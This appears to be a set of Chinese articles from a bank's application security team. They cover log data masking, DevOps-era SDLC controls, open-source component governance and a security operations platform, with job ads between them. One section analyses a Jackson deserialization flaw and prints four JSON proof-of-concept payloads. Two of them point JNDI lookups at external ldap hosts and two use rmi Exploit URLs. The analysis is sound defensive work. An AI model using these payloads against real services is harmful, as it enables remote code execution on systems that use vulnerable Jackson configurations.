在个人信息保护越来越受到重视的当下，数据安全管控力度也不断加强，有关部门也对金融单位提出了更高的要求。

文：黄韦博 裴玲

在个人信息保护越来越受重视的当下，国家数据安全管控力度也不断加强，尤其是对金融单位的管理要求也更加严格。本文是从快速治理的角度出发，分享基于日志管理平台所做的企业日志脱敏治理经验。

治理背景

在各类敏感信息存储媒介中，应用日志是其中的重点之一，由于业务方场景过于繁杂，研发人员可能于多种情况下在日志内留存敏感信息，例如：

• 保留业务信息以便取证溯源，如客服对话、订单。

• 保留上下游业务对接信息，以便进行链路跟踪。

• 特殊系统需要保留日志原文，便于外部监管和内部审计。

• 系统不含数据库，需要依靠日志做落盘存储。

• 公共框架/组件打印输出敏感信息。

故而，日志内敏感信息的问题也成了稽核监管在数据安全方面重点关注的事项。

治理成果

在半年多的阶段性治理后，应用系统日志内敏感信息的抽样命中比率同比下降了约87%，同时日志敏感信息检测已形成常态化治理机制，做到了及时发现、及时整改闭环，治理工作总体上取得了显著成效。

治理思路

基于行内已有统一的日志管理平台，在其他资源有限的情况下，想要快速收敛日志内敏感信息的风险问题，首要方案是将日志进行收口管理，同时向开发提供相关脱敏工具，并持续对日志内的敏感信息进行检测，督促开发基于检测结果进行排查和整改，以制度、流程、工具为基准，从三个层面推动治理。

一、初期准备

1、完善制度规范

强调应用日志内不可留存敏感信息的管理要求，并要求应用在上线时需同步完成日志管理平台的接入，以确保日志统一收口管理，同时明确例外申请渠道。

• 日志需要统一采集到日志平台进行访问。

• 应用日志内不允许记录明文敏感信息。

• 理清敏感信息基线，对日志脱敏的范围和标准进行圈定。

• 开放例外通道，针对特殊情况按标准例外流程管理。

2、建立联络机制

对于长期项目而言，跟管理层、项目组、执行团队建立良好的联络反馈机制，是非常有必要的。我们主要从下面两点进行了准备。

1）建立项目组

纳入相关领域的研发负责人，保障对项目执行的有效落地。同时，维护了安全接口人（PMO）体系，保障安全团队对于研发团队的要求能够得到准确及快速的传达。

2）建立沟通汇报机制

成立项目沟通群，确保大家问题能得到及时反馈，如收到针对脱敏工具和流程的合理建议，也会尽快确认并纳入版本进行优化；制定项目周例会，线下沟通项目进展及当前风险；定期向领导层同步项目进度，让问题和成果都变得透明化。

3、提供工具支撑

1）统一日志管理平台

日志统一收口管理，默认前端脱敏展示，并提供实时和异步检测日志敏感信息的能力，方便开发进行快速排查并整改原始日志。

• 持续抽样检测日志：在上送日志时抽样若干条日志进行检测，如命中敏感信息规则，则记录，形成敏感信息报表。

• 异步检测存量日志能力：对历史日志进行全量跑批检测，用以辅助排查敏感信息。

2）统一日志脱敏工具

项目组为研发团队提供了脱敏SDK，支持通过全局配置和注解（高优先级）进行脱敏。

• 如果仅对字符串进行掩码，调用敏感字段类型对应的方法即可。

• 如果需要简单对象（pojo）进行脱敏，可以先对其中涉及的敏感字段进行注解标记，调用SDK后会正常返回一个json字符串。

• 如果是对复杂对象进行脱敏，则在返回结果后，可能会丢失掉原对象中的结构细节（fastjson.toString的特点）。

3）统一安全运营平台

用于对接日志管理平台，将获取到的检测结果自动生成整改工单，利用平台的线上化跟进能力，自动分发整改项，自动进行整改指标统计，闭环日志脱敏整改问题；并对接研发管理平台，提供安全质量门禁检查的版本管控能力。

二、中期治理

1、收敛日志访问权限

1）推动所有存量应用系统接入统一日志管理平台，并建立相关管控流程确保增量应用上线前同步完成接入。同时根据系统开发和运维角色进行针对性赋权，确保日志平台的权限最小化管控。

2）推动回收研发人员冗余的生产环境OS权限（在日志脱敏事项治理之前，不少研发人员都拥有生产环境OS权限，能够直接通过生产环境机器查看日志）

2、日志管理平台默认前端掩码

1）日志平台在接口层面对展示内容进行敏感信息掩码，确保原始日志未脱敏的情况下，研发团队在日志管理平台查询日志也不会接触到敏感信息。

2）为避免日志平台的前端掩码和原始日志的掩码难以区分，从而对开发造成困扰，日志平台前端掩码采用特殊的“^”符号，区别于原始日志掩码采用的“*”符号。

原始日志脱敏样例

日志平台前端默认掩码样例

3）为避免日志平台前端误掩码导致影响开发排障，用户可通过点击“眼睛”标识符查看原始日志，同时限制单次查看次数，并对查看行为进行审计。

4）建立对抗机制，检查组定期对掩码情况进行检查，规则组持续对掩码规则进行优化，确保应掩尽掩。

3、推动本地原始日志脱敏整改

1）研发流程管控：在研发安全流程中增加“日志内禁止记录敏感信息”checklist，确保开发人员在设计开发阶段知晓相关规定，同时在安全质量门禁处新增针对日志内敏感信息的检查项，用于开发进行自查。

2）持续检查：借助日志管理平台的实时检测和异步检测能力，持续对应用生产日志进行敏感信息的检测，如发现问题则自动生成合规整改项，要求开发进行相应整改，整改未完成则进行版本管控。

3）自动验收机制：整改完成后，系统获取最新的日志平台检测结果，未发现敏感信息则关闭整改工单，发现则将整改工单打回待处理状态。

三、长期规划

在长期的规划中，我们计划再从下面几点逐步进行实施：

1、标准化日志的输出格式

联合公共框架/组件以及研发团队的架构师，制定并规范日志格式标准，减少因日志打印不规范导致的不可控的脱敏成本。

2、持续优化工具

1）优化脱敏SDK：增加对多类加密算法和场景的支持，满足非日志场景的数据脱敏需求，提升数据安全治理能力。

2）推动公共框架/组件治理：联合相关负责人统一标准，屏蔽掉业务信息的输出，并添加对字段级别的脱敏配置。

3）优化敏感信息检测规则：持续优化敏感信息检测规则，并通过增加二次过滤黑名单机制，降低敏感信息检测误报率。

后记

显然由于敏感信息检测规则无法确保百分百准确和不遗漏，想要实现日志内敏感信息的完全治理，单靠检测和整改总归是滞后的，好的方案仍然是从源头把控住敏感信息的存储、使用和传输，但如果想到做到这种程度目前看来还有很大的难度，也欢迎大家一起探讨。

阅读原文

跳转微信打开

平安银行安全团队致力于保障亿万用户的信息安全，共建金融行业的安全生态环境。我们在这里，期待你的加入！

平安银行是一家全国性股份制商业银行（SZ000001），其前身深圳发展银行是中国内地首家公开上市的全国性股份制银行。截至2022年6月末，共有在职员工40,745人（含派遣人员），通过全国109家分行、1192家营业机构为客户提供多种金融服务。经过多年发展，本行已成长为一家金融服务种类齐全、机构网点覆盖面广、经营管理成熟稳健、品牌影响市场领先的股份制商业银行。本行紧跟国家战略，持续提升金融服务实体经济的能力，全面强化金融风险防控，全力助推经济高质量发展，业务发展保持了稳健增长态势。

✎✎✎

平安银行在全力以赴向着“中国最卓越、全球领先的智能化零售银行”的目标不断迈进的同时，也一直充分重视着信息安全的发展与建设。平安银行安全团队致力于保障亿万用户的信息安全，共建金融行业的安全生态环境。

我们在这里，期待你的加入！

研发安全专家

本科及以上/5年以上工作经验/薪资面议

工作职责：

1、负责银行研发安全领域工作，包括但不限于应用安全体系规划、风险治理、重点业务系统的安全评估和安全架构设计工作；

2、负责银行研发安全能力的建设，包括但不限于RASP、WEB安全扫描、代码安全扫描、交互式扫描、镜像安全扫描、流量威胁感知等；

3、推动云原生下应用安全体系的持续建设优化，负责设计通用的安全框架、安全组件及安全解决方案，引领技术团队开展SDL落实； 

4、参与制定研发安全流程，并通过工具、技术等手段将安全能力与基础架构融合并推进落地，持续优化完善，达成总体安全管理目标。

任职要求：

1、本科及以上学历，5年以上企业应用安全建设、SDL落地等经验；

2、扎实的编码能力，能够使用Java/Python/Golang/Nodejs/C++等其中一种语言开展工具研发；

3、有相关安全工具平台开发经验，包括不限于动态、静态等各类漏洞检测、流量处理、资产采集等经验；

4、熟悉业内主流的安全机制、安全解决方案及安全体系，能够独立负责中大型应用系统解决方案并主导进行建设，有云原生相关安全经验优先；

5、良好的沟通表达能力和文案编写能力，善于团队协作，项目管理，主动思考，良好的自我驱动力。

工作地址：

上海-浦东新区

简历投至邮箱：ex-wangjiahui006@pingan.com.cn

在平安

 In PINGAN  

PINGAN

工作在平安

成长在平安

温暖在平安

左右滑动查看更多

阅读原文

跳转微信打开

数字化时代科技安全风险治理面临巨大挑战，安全团队需要思考从运动式检查转为长效化管控。

流程建设分为「事件处理型」和「研发流程型」。

风险事件从上报到验证关闭，全流程状态通知，并逐级抄送，提升处置时效。并将流程中的数据打通，可提供丰富直观的报表，降低运营成本的同时也让运营工作更加精细化。

一般事件类处置流程

经过安全团队的严格推进和研发团队的定制化实践 ，行内SDLC执行已逐渐由安全主导转变为开发主导，契合DevOps流程。研发流程配合安全统一管控，实现自动化能力提升，安全也可做到过程数据卡点管控，对发现的漏洞执行溯源。

结合SDLC的DevOps安全与风险管控机制

随着安全服务和安全能力的不断成长和进化，安全管控体系中的执行要求、检查、控制、保障，绝大部分由工具自动化静默执行。安全工具和卡点管控嵌入到需求管理、测试管理、版本管理等各类流程中，从另一方面来说，也保证了需求必须按照标准化流程流转。

研发安全风险管控具体流程

在SDLC的安全测试环节，包括人工测试、工具扫描发现的漏洞，统一在sop安全运营平台实现闭环管理。

漏洞处理流程

应用安全的持续运营，能够打通各环节的建设内容，促进整个体系良性发展。

安全运营分析包括三个方面：

• 运营指标：支持多类型事件、多维度数据分析，对安全团队自身运营质量和其他团队的执行质量都有数据化展示分析，最终形成制度化考核机制，对涉及的人、过程、技术进行综合评估

• 高效汇报机制：定期通过邮件、例会等形式同步各干系人运营质量及安全要求，自上而下推动风险管控和制度的更新迭代

• 持续运营提升：依据上一轮成效评估，持续改进管理过程和运营手段，实现对业务的价值输出目标

安全运营分析的三个方面

安全运营是一个长久化、持续性过程。尤其是在行内数据量庞大，组织架构复杂、信息分散的背景下，运营机制的自动化和可视化，很大程度上决定着运营质量和效率。我们要做的是一个实时汇总，能够感知全局安全态势的平台，通过大数据分析提供新一轮迭代优化的依据。

各类风险报表化展示

围绕安全风险治理的需求提出的治理体系框架，除了管理体系建设、标准化流程管理、运营质量分析，还必须有基础设施支撑：

• 流量分析检测平台：通过专有扫描环境，灵活定制扫描规则，实现实时/周期记录、扫描多场景数据

• 代码扫描平台：IDE插件自助检测增量/全量代码，覆盖传统安全漏洞和合规治理检测规则

• 应用堆栈分析平台：结合行内APM监测工具的安全风险扫描平台，可检测传统安全漏洞和开源组件类风险扫描

• 开源软件安全治理：专项治理开源软件，实现组件漏洞应急响应、组件依赖分析及安全版本查询，推动行内架构和服务治理、统一组件开发和接入

• …………

应用周期涉及的安全基础设施

流量分析检测

安全风险治理体系的建设非一朝一夕，也非一成不变，这里有一个基本思路可以参考：

阅读原文

跳转微信打开

新年快乐！

跳转微信打开

这是一个牛人辈出且有爱的团队，有着一个够大且发展快速的平台，同时还可以提供一份不错的薪水！期待热爱安全，同时在安全领域有一技之长的你！

公司介绍

Company profile

          PINGAN

中国平安《财富》世界五百强排名21位，《福布斯》全球上市公司2000强第7位，蝉联全球多元保险企业首位；Brand Z最具价值中国品牌100强榜单第7位，金融品牌第2位；FutureBrand 全球品牌100强第7位，保险品牌第1位。平安银行股份有限公司是中国平安控股的一家跨区域经营的股份制商业银行（股票名称：平安银行 股票代码：000001）。平安银行以打造“中国最卓越、全球领先的智能化零售银行”为战略目标，持续坚持“科技引领、零售突破、对公做精”十二字策略方针，始终坚持“三不变”，即坚持零售转型方向不变；坚持“综合金融、科技赋能”两大核心优势不变；坚持均衡、协同发展思路不变。着力打造“数字银行、生态银行、平台银行”三张名片。

用科技引领金融，金融服务生活

（左右滑动查看更多）

招聘岗位

Job description 

PINGAN

高级应用安全工程师

工作职责：

1、负责银行应用系统的安全评审、安全功能设计、安全测试和安全事件应急响应等；

2、负责银行应用系统安全开发管理过程的安全审核，提供安全解决方案，参与优化公司SDLC最佳实践；

3、跟进业内创新技术，为银行引入新技术提供安全解决方案；

4、负责银行SDLC相关配套工具IAST，SAST等工具平台的建设与优化。

任职要求：

1、熟悉常见WEB安全漏洞原理与防范，可提供代码层的漏洞修复方案；

2、了解Java、Python、Go等一种或几种程序语言；

3、了解业界安全攻防动态，追踪最新安全漏洞；

4、具备良好沟通、协调能力、分析和解决问题的能力；

5、计算机，软件工程，网络安全等全日制本科及以上学历；

6、3年以上经验。

资深安全开发工程师(Python或Java方向)

工作职责：

1.负责各类安全工具平台、安全产品的建设研发，包括流量处理、RASP、 DAST、 SAST 等各类安全工具平台的建设研发；

2.负责建设支撑SDLC流程节点的各类工具平台，落实全行应用安全治理上相关的要求及检查机制的自动化闭环；

3.推动研发流程及相关基础技术架构的持续优化完善。

任职要求：

1.扎实的编程基础、精通Java、 Python开发语言， 熟悉JVM、Kafka、 ELK、分布式等核心技术；

2.熟悉软件开发生命周期(SDLC)，熟悉业内主流的安全机制、安全解决方案、安全体系优先；

3.有相关的安全工具平台开发经验，包括不限于动态、静态等各类漏洞检测、流量处理、资产采集等经验；

4.熟练掌握主流开发框架，如Spring、 MyBatis, 熟悉高可用、高性能优化方案；

5.思路清晰、较好的沟通能力与技术学习能力，有强烈责任心及团队意识；

6.本科以上、3年以上互联网公司经历优先。

数据安全治理专家

工作职责：

1、发现数据安全生命周期各环节面临的安全风险，并制定相关的风险管控方案；

2、推动数据治理相关方案的工具化、线上化，从而保证银行数据数据互通方面的效率和安全性；

3、结合监管及银行安全合规要求，形成系统化的平台来实现风险控制及监控，包括不限于自动化加密、脱敏引擎，敏感数据识别分级打标引擎的落地及优化；

4、结合现有银行数据输入输出的业务需求，对数据进行安全合规的审计及智能化审批，提升数据交互时的安全管控及效率:

5、在国家标准及行业标准的基础上提升，保障业务的前提下，全面提高银行在数据安全方面的能力。

任职要求：

1、有数据安全风险治理的专项工作经验(数据脱敏、数据加密、api 治理、数据资产地图、隐私保护) ;

2、熟悉各种常见通用加密算法(AES、RSA、 SHA以及国密等)，以及隐私保护算法(K-匿名、差分隐私、L-多样性)，掌握相关安全通信协议、熟悉签名认证；

3、掌握数据安全和隐私保护方面的安全技术，对国家相关法律法规及行业标准有深入理解；

4、了解大数据业务建模、数据仓库建模、元数据、数据血缘及其实现方法有全局化的数据架构能力相关经验更佳；

5、掌握python/java/go等至少一门编程语言;

6、本科及以上，5年以上安全行业工作经验(数据安全、应用安全、信息安全、安全运营)，有金融行业工作背景优先。

简历投至邮箱：peiling757@pingan.com.cn

工作地点：上海浦东旭辉职场/深圳罗湖总行职场

如有疑问，可联系小编咨询（微信：Miniseven0）

在平安

 In the PINGAN  

PINGAN

工作在平安

成长在平安

温暖在平安

左右滑动查看更多

阅读原文

跳转微信打开

安全运营是应用安全管控体系建设的能力支撑，而安全运营平台则是为安全运营做好工具支撑，提供更高效、更便捷的运营方式和途径。

文：平安银行应用安全团队  裴玲/丸子

笔者目前就职于金融行业应用安全团队，负责产品及运营相关工作。将行内原先使用的漏洞系统重构并建设安全运营平台，是我完成的第一个任务，故想把建设过程中的一些实践/思考写出来，同大家一起交流探讨，也正好算是一个阶段的总结和反思。

• 要对系统的定位非常清晰。时刻站在“做系统的目的是为了什么，做的这些功能到底能否真正帮助实现目的”的角度思考，并且需要有整体架构的规划，才能让系统在不断“壮大”的过程中不至于失了“重心”而坍塌；
• 产品的易用性直接决定了运营难度的高低，在充分结合各类现有的安全工具的基础上，一定要考虑尽量贴合企业自身的各类流程（如研发流程等），将安全运营的各个环节有效融入到日常的研发流程中。

阅读原文

跳转微信打开

在新时期对更频繁、快捷、可靠以及智能的要求下，传统意义上的SDLC模式逐渐成为整个研发流程中的短板，企业安全需转变思维，建设在敏捷模式下的广义应用安全体系。

文/平安银行应用安全团队@贾凯

前言

17年起，我们引入建立了适合内部研发的SDLC流程，在传统的研发模式下，一个需求从意向拆分到用户故事，再到开发子任务，一次迭代大多都要经过2周以上的时间。经过重人力运营的严格SDLC活动（各业务开发条线配备一名或多名专职安全运营人力进入开发团队深度运营），完成下来基本上可以极大的降低应用安全风险。但随着这两年公司IT人力迅速扩张，以及各类业务需求的爆发增长，推动着敏捷开发的迭代周期不断缩短，倒逼研发模式向DevOps转型。这种状态下，重人力运营的SDLC逐渐成为整个开发流程中的短板，对于动辄数千个应用的组织来说，也只能挑选重要的业务系统执行SDLC，大量内网应用无人力覆盖，而且在新时期对更频繁、快捷、可靠以及智能的要求下，愈发凸显出这种模式的缺点，由此必须转变思维，建设在敏捷模式下的广义应用安全体系。

SDLC模式

SDLC是定义在安全团队及研发团队共同配合下的安全活动，在对需求做完安全评审以后，除了最终需要安全团队执行的安全测试外其余都需要研发团队独立完成。

安全需求识别：研发团队架构师识别哪些需求是涉及到的安全。

安全设计环节：安全团队针对开发子任务给出指导性安全checklist，开发团队针对涉及到的接口做安全设计。

安全设计审查：开发团队架构师对安全设计做审查，评估安全设计无问题即可进入正常编码环节。

这几个环节下来，如果由开发完全独自执行，对于安全意识不够强的研发同事来说，安全设计的质量无法保证，这个时候基本上是安全团队在测试过程中对发现的安全漏洞进行溯源，定位安全设计及审查环节的问题，做常态化的检查。

在重要系统实践了一个时期后，绝大数研发团队的安全意识及安全编码能力得到了极大提升，遗留到测试环境下的漏洞数也大幅减少。当然，SDLC的推行需要领导的大力支持。

但在实践中也发现存在一些安全设计质量不佳的情况，仔细定位下来发现基本上是：

1、新入职的员工即使经过强制安全培训后，安全设计及安全编码依旧质量不足；

2、研发团队懈怠情况。

为此我们建设了漏洞积分，每个漏洞关闭时都必须对应到漏洞开发人员/小组/部门，积分到达一定限度后，强制进行安全考试，回炉接受再教育再次进行安全培训（类似驾照违规重新考试）。

此外依据这些数据对研发团队针对性的培训宣导，持续根据执行结果进行周期回溯检查。

DevOps下的应用安全管控体系

在以上的模式下，互联网的业务系统经过严格的SDLC后再进行发布，安全问题得到了保障。

但随着执行经验的积累，问题也随之而来：

1、如开篇所说，在向DevOps转型的过程中，动辄每周1次或多次的发版频率下，安全人力介入作为开发流程中关键的节点显然成为了瓶颈，业务需求的快速增长给人工评审及人工安全测试带来巨大压力；

2、在人力方面，显然不可能无休止增加投入，更重要的是安全工程师水平差异导致各业务线的安全性差异，人永远无法作为一个衡量安全管控标准的尺度；

3、虽然互联网应用已用此方投入大量人力堆了下来，但面对规模更大、更复杂的内网应用怎么管？用脚想也不能生搬硬套；

4、理想状态下SDLC应该是研发团队自驱执行的，安全一直在深度介入、带领的安全开发流程，不利于研发团队安全能力的长效实质提升，可能安全工程师一松懈，安全执行标准就下降。

所以当安全把控的效率及覆盖面上有了更高要求时，要根本解决这个困境，首要的是改变环境，通过安全基建去创造优化安全开发的环境，重新设计构建适用的应用安全管控体系。

“要求—检查—管控—防护”

从应用的整个生命周期来说，这是应用安全管控的主干思维流程，应用的变更大部分都体现为需求，在对研发流程上各类纬度的要求都可以体现在对需求的要求提示上。

整体的建设思路可类比为现代化交通治理的逻辑，将应用的构建、测试到发布线比作一条高速公路：将安全介入执行的SDLC比作载客大巴，安全是司机；将开发团队独自执行SDLC比作自驾；应用安全的执行要求是交通法规；检查手段是高速上的各类传感器（测试器、探头等）；管控手段是上高速的收费站，也可以是驾照的扣分制度；防护手段即是高速上的应急车道…如何保证高速公路上车辆有序、高效、安全的行驶，即是我们应用安全管控体系建设运营的启发参照。这么一想，豁然开朗…

执行要求

执行要求中，不论是作为SDLC中接口安全设计checklist要求，或是数据共享管控要求、隐私合规要求、监测埋点需求等其他广义上的各类研发要求，这些都可以作为提示项，放入需求阶段（研发管理平台）或者接口设计阶段（接口管理系统）中的安全提示。

在内网应用需求上提供基于问答式的安全自检解决方案，后期可以做到更加具体细致，对涉及尽可能多的场景抽象出一些需求场景的评审checklist。

编码阶段

接口设计中，将SDLC涉及的接口安全checklist作为接口设计（新增/修改）的必要属性。

使用内部嵌入安全组件的开发框架，例如将esapi改进为适合内部框架的安全组件集成到开发框架中，供开发自行选择使用。

在编码环节，提供嵌入IDE的安全编码助手插件（开源工具二次开发改进），供开发人员自助进行代码扫描，前移代码扫描环节。

测试阶段

在DEV/SIT测试环节，提供浏览器插件，供开发/测试人员自助进行动态扫描，前移动态扫描环节。

检查阶段

检查手段是关键一环，需要做到有要求必有检出的能力。

这里需要建设一系列检查手段，包括SDLC执行规范质量检查、基于流量的DAST、基于堆栈的IAST、基于代码的SAST、基于包库的组件及依赖检查、人工安全测试的五种检查手段。

• SDLC执行检查（质量、规范），通过检测的版本迭代漏洞溯源SDLC执行过程质量。

通过splunk自动化分析SDLC执行规范、制定违规通报。

• DAST被动+主动式的动态扫描器（主动模式下，积累归集流量中采集到的报文，替换登录态随时执行主动全量扫描），可参看之前文章《被动式漏洞扫描平台建设之路》。

• SAST嵌入到CI流水线任务下的静态扫描器，确保每次git的代码提交都经过安全检测。

【存量及增量控制】

• 建设另一种思路下的IAST能力，与APM监测工具合作，记录堆栈数据，离线准实时检测安全漏洞，可参看之前文章《企业快速部署IAST/RASP能力的一种新思路》。其中在被动扫描器+IAST的模式下，可以做到部分场景下越权漏洞的检测。（2次替换cookie发包，对比带入的sql语句）

• 建设解决增量及存量的组件安全依赖扫描能力，可参看之前文章《通用组件安全治理三步走实践》。

• 在人工测试环节，对于重要应用的重要需求流转到人工测试环节，执行安全测试任务。

还需要做到的是，在自动化检查工具中增加实时提醒的功能，通过跟接口平台联动，将检查内容与要求挂钩，将安全整改工作尽量左移，一旦检查出不符合要求的点，可以立即通知到相关责任人进行整改，在卡版前给出研发整改时间。

管控阶段

通过检查过程中发现的问题，将检查结果数据跟各纬度的SR/SST/版本对应起来，存入安全运营平台中，这样就形成了版本—风险值的维度，初期我们定义一些简单的卡版规则，对不符合要求的版本卡发布，例如中高危漏洞不可发版，没有接入SSO不允许发版等。在持续建设后期可以根据各类安全规则给出版本的安全评分及安全检查报告，执行更精细的版本安全管控。

此外我们还需要一个基础应用安全元数据系统（通过同步运维、架构的全部应用基础数据），可以将检查结果对应用打上各类安全标识，为长期的应用安全治理工作打好基础；结合安全运营平台，更便捷地对各类安全漏洞、安全整改项做闭环跟进处置。（这里要感谢运维及架构兄弟们的支持，企业安全的建设水平非常依赖于组织内部运维及架构上的建设水准，这就类似高速公路上跑的各类汽车，运维架构标准化覆盖率上去后安全的建设水到渠成。）

防护阶段

应用发布后，研发流程的工作就告一段落，我们就需要对线上潜在的攻击行为做预警响应处置。

• 建设基于流量的入侵检测能力，流量安全分析，我们熟知的XX眼、各类WAF的日常运营。
• 建设传统的HIDS，我们熟知的XX云等日常的安全运营。
• 建设基于堆栈的攻击告警（RASP），这里因为我们的实践思路是通过采集应用堆栈日志离线分析，所以只是做攻击行为告警，之后再进行人工处置（跟正统的RASP思维来说差距就是实时阻断的能力，对传统金融行业的业务系统来说，实时阻断还是有些压力的，我们的方案只做堆栈埋点，在日志消费速率足够的情况下，做到实时攻击行为告警，之后人工处置。对这部分如感兴趣，可参看之前文章《企业快速部署IAST/RASP能力的一种新思路》。）
• 建设新增资产监控及常态安全巡检，掌控全部的应用资产，确保不会遗漏安全死角，新增应用及映射定时通知安全运营人员，确保得到把控。

• 建设最新的通用型安全漏洞预警，面对新出的安全漏洞时及时的分析对公司资产的影响程度。

总结

到此为止，我们从SDLC的思维模式逐步转变为全生命周期的广义应用安全管控体系。

建设这个体系后，带给我们几个提升：

1、 提升了安全工作的覆盖面及安全运营效率，从针对重要应用的安全运营工作转变为对全部应用的体系化安全管控，无论是外部还是内部应用皆在安全运营范围内。

2、 安全管控线上化标准化，在与测试及发布工具联动后，从依赖“人工版本把控”转变为依靠“系统判断”进行版本安全的管控。

3、 从传统应用安全管控的角度转变为广义安全管控的角度，只要涉及研发流程，皆可通过这个模式来实现“要求—检查—管控”的整改落地（也可解决安全以外的研发整改问题），各类研发的整改皆可通过各类检查 + 跟进闭环 + 版本管控 来实现“消化存量、管控增量”的目的，这个是非常重要的。

4、 体系化提升，通过检查阶段的结果，反溯研发过程，给出各部门排名，从管理手段上提升研发同事的安全能力，安全更加可控。

5、 不再仅限于发布前的应用安全管控，而是贯穿了应用全生命周期的安全管控体系。

等等，很香。

对一个大型的IT组织来说，在后续的运营过程中，我们还需要不断拓展我们的覆盖面，以及不断优化我们的检测深度，还有很多的路要走。

阅读原文

跳转微信打开

今天又看到有一些安全预警平台爆出的Jackson反序列漏洞，要求把Jackson升级到2.9.10.6，所以在下面对漏洞原理和适用范围做一下分析，并给出poc。

Author：平安银行应用安全团队@Glassy

引言

今天又看到有一些安全预警平台爆出的Jackson反序列漏洞，要求把Jackson升级到2.9.10.6，所以在下面对漏洞原理和适用范围做一下分析，并给出poc。

POC构造

br.com.anteros.dbcp.AnterosDBCPDataSource

先看一下该jar包的maven引用次数

再构造poc（原理简单，不做细节描述）

["br.com.anteros.dbcp.AnterosDBCPDataSource", {"metricRegistry":"ldap://ytcrpi.ceye.io:1399/test"}]

com.pastdev.httpcomponents.configuration.JndiConfiguration

先看一下该jar包的maven引用次数

再构造poc

["com.pastdev.httpcomponents.configuration.JndiConfiguration", "ldap://gggg.ytcrpi.ceye.io:1399/test"]

先看一下该jar包的maven引用次数

再构造poc

["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}]

org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl

先看一下该jar包的maven引用次数

再构造poc

["org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}]

注意:这一条poc实际上是不可用的，其原因在于该类中因为存在重名函数导致的jackson在反序列化的时候会报同名函数冲突。这是一个原理层面可用，实际不可用的poc。

总结

1. 利用成功需要enableDefaultTyping；

2. Gadget的jar极其罕见。

结论：基本没什么用，不必大惊小怪，不放心请用poc自行去测试。

阅读原文

跳转微信打开

组件安全治理一直是备受关注的安全问题之一，对于企业安全建设来说，必须有一套从预警到整改的闭环方案。在此笔者想分享我们在组件安全治理上的实践，希望对大家有所帮助。

名词释义：

应用：是一个可以独立部署的具有特定完整功能的最小代码单，在一些公司内部也被理解成是可以拆分成的最小的一个系统。

子系统：多个应用的合集。

但我们也面临了一些困难：组件漏洞暂时无法解决二次依赖问题，会存在漏报、误报情况。例如部分开发通过修改仓库的pom文件内容修改组件版本，但并未真正发版，导致存在误报；再有就是线上代码实际使用的仓库及代码分支不一致问题（如部分使用release分支，部分使用master分支），导致检测出来的组件版本和线上并不一致，从而产生误报。另外，外购系统因无源码问题会导致漏报，部分开发测试未规范管理代码或未放入仓库也会导致漏报。

针对以上问题的优化思路：

当组件信息存在二次依赖的情况下，需要具备组件依赖信息的查询工具，需要线上环境的组件版本支撑，需要发布过程中的数据，确保组件数据是真实的而不是失效的。

通过部署HIDS厂商的产品，实现了服务器端组件采集功能。我们每天采集组件数据，每天更新验证线上还有哪些资产及哪些组件受影响。

通过获取CI过程中的成品包，进行成品包的扫描，可以获取即将发布应用的成品包依赖信息，包括二次依赖（这个工具是外购jf的xray产品，依赖分析还是很不错的，比较完整），然后通过CD工具获取该成品包部署到了哪些服务器上（公司的应用往往集群部署，并且进行灰度发布），可实现组件漏洞修复的全过程监控。

对于应用的部署都是单机单应用/单容器单应用的部署情况，通过此方案可实现组件漏洞-服务器/容器-应用-开发的关联链路，将漏洞推给责任干系人，并要求按照规定风险等级进行修复。同时我们也会将相关修复数据情况按照告警同步策略发送相关干系人及领导督促修复，并制作了各部门修复率及修复时效报表。

在此过程中我们建立了安全元数据的模型，新增了组件漏洞库数据，以及各应用在用的组件库信息，包括组件/版本/应用/服务器/组件路径或成品包路径信息。

基于以上，我们实现了如下几点：

1. 应用组件生命周期的监控，打包发布部署过程中的组件升级（低版本组件删除，高版本组件增加）；

2. 实现了二次依赖的关联分析；

3. 建立了安全元数据开源组件模型，元数据后端的组件数据T+1自动更新，开发可在修改代码后T+1天确认是否修复完成；

4. 形成报表统计给相关领导汇报，列出各个部门的修复排名（这个很重要），督促修复。

当然，上述实践过程同样也存在一些问题：

1. 部分备份的成品包会被检测到，导致误报；

2. 基于版本判断，对于一些漏洞版本有影响，但是漏洞利用条件较为苛刻，需要特定编码才会触发的漏洞，将扩大受影响资产。

对此我们的优化方案是：

1. 组件版本较低视为风险，并不一定可以利用，同时需要其他工具辅助测试验证，如各种扫描器；

2. 跟架构部门联合规范发布部署行为，禁止开发/运维将备份放到服务器上，删除备份包。

通过前2轮的技术论证可以检测出绝大多数的组件漏洞并可以进行自动验证。

实际修复情况可能和预期还有一些差距，真正落地解决问题还是有一些阻力。主要问题如下：

1. 外购系统是整体修复时效上的重灾区，真正修复花费的时间可能需两三个月甚至更多；

2. 部分二次依赖的组件问题，官方的组件包即使升级到最高版本，其依赖的组件包可能还是有漏洞的，需开发自测升级后是否有兼容性问题；

3. 部分开发团队安全意识较薄弱，认为组件安全问题影响不大，修复缓慢；

4. 少量新增的应用仍然出现了漏洞版本组件。

修复率统计：

1. 通过版本安全管控及组件黑名单的阻断机制，确保新增应用无历史组件安全问题。

2. 通过在组件仓库设置组件黑名单，如果使用低版本的组件将无法打包成功，强制要求开发升级版本。

3. 通过版本管控，如果应用版本发布过程中，仍然存在组件安全问题，将禁止发版强行阻断。

当然特定发布情况下允许放开限制，需要制定一些安全例外流程允许例外，这个时候就取决于业务优先还是安全优先了，结合实际情况进行分析。

安全检测报告中组件安全漏洞检测纬度：

另外很多公司会对一些开源的组件进行改造，以符合公司内部的场景，这种情况下，我们还需要将组件漏洞和企业二次改造的组件包进行分析验证，确认下是否受影响，使用同样的方式进行推进修复。

阅读原文

跳转微信打开

     实现关联接口、入参、和危险方法并自动化构造payload

from QueryInjectionSink query, DataFlow::PathNode source, DataFlow::PathNode sink where queryTaintedBy(query, source, sink)selectquery, source,sink

其中queryTaintedBy是一个“谓词”，通俗的说就是方法。这个方法里我们会去操作数据流的config配置。

按照上述写法就可以查询source到sink的数据流了。但直接这样查当然是不行的，我们还要约束一定的范围和条件，这里的QueryInjectionSink就是这个查询的配置，也就是config,它必须继承于TaintTracking::Configuration，所以我们要建立一个数据类型来表示这个

